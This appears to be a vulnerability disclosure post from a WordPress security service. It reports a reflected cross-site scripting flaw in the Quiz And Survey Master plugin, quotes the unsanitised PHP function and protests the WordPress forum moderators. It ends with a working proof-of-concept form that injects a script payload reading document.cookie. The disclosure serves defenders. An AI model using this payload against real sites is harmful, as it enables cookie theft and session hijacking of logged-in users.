Reflected Cross-Site Scripting (XSS) Vulnerability in Quiz And Survey Master
Yesterday, the WordPress plugin Quiz And Survey Master was closed on WordPress Plugin Directory. Due to that being one of the 1,000 most popular plugins in that directory (it has 40,000+ installs), our systems warned us about the closure and we started checking over the plugin to see if there was a vulnerability we should be warning customers of our service about if they are using the plugin.
In June, while looking in the possibility there had been a vulnerability fixed in the plugin, we found a fairly serious vulnerability in the plugin, so the poor quality of the security we found this time wasn’t surprising. While we didn’t quickly find a serious vulnerability, we did easily confirm that there is a reflected cross-site scripting (XSS) vulnerability that currently exists in the plugin.
We would recommend not using the plugin unless its security has been more thoroughly reviewed and all the issues addressed.
We tested and confirmed that our new firewall plugin for WordPress protected against the proof of concept below, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.
Reflected Cross-Site Scripting (XSS)
The plugin registers the function qsm_wizard_template_quiz_options() to be accessible through WordPress AJAX functionality to those logged in to WordPress:
329 | add_action( 'wp_ajax_qsm_wizard_template_quiz_options', 'qsm_wizard_template_quiz_options' ); |
That function, which is located in the file /php/admin/admin-dashboard.php, take in user input, without sanitizing or validating it, and then outputs it without escaping it, as confirmed by the proof of concept below:
287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 | function qsm_wizard_template_quiz_options() { global $mlwQuizMasterNext; $settings = isset( $_POST['settings'] ) ? $_POST['settings'] : array(); $addons = isset( $_POST['addons'] ) ? $_POST['addons'] : array(); $all_settings = $mlwQuizMasterNext->quiz_settings->load_setting_fields( 'quiz_options' ); $recommended_addon_str = ''; if ( $settings ) { foreach ( $settings as $key => $single_setting ) { $key = array_search( $key, array_column( $all_settings, 'id' ) ); $field = $all_settings[ $key ]; $field['label'] = $single_setting['option_name']; $field['default'] = $single_setting['value']; QSM_Fields::generate_field( $field, $single_setting['value'] ); } } else { echo __( 'No settings are found!', 'quiz-master-next' ); } echo '====='; if ( $addons ) { $recommended_addon_str .= '<ul>'; foreach ( $addons as $single_addon ) { $recommended_addon_str .= '<li>'; if ( isset( $single_addon['attribute'] ) && $single_addon['attribute'] != '' ) { $attr = $single_addon['attribute']; $recommended_addon_str .= '<span class="ra-attr qra-att-' . $attr . '">' . $attr . '</span>'; } $link = isset( $single_addon['link'] ) ? $single_addon['link'] : ''; $recommended_addon_str .= '<a target="_blank" href="' . $link . '">'; if ( isset( $single_addon['img'] ) && $single_addon['img'] != '' ) { $img = $single_addon['img']; $recommended_addon_str .= '<img src="' . $img . '"/>'; } $recommended_addon_str .= '</a>'; $recommended_addon_str .= '</li>'; } $recommended_addon_str .= '</ul>'; } else { $recommended_addon_str .= __( 'No addons are found!', 'quiz-master-next' ); } echo $recommended_addon_str; |
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will cause any available cookies to be shown in an alert box, when logged in to WordPress. In Safari and other web browsers that provide XSS filtering this proof of concept will not work.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=qsm_wizard_template_quiz_options" method="POST"> <input type="hidden" name="addons[test][attribute]" value='"><script>alert(document.cookie);</script>' /> <input type="submit" value="Submit" /> </form> </body>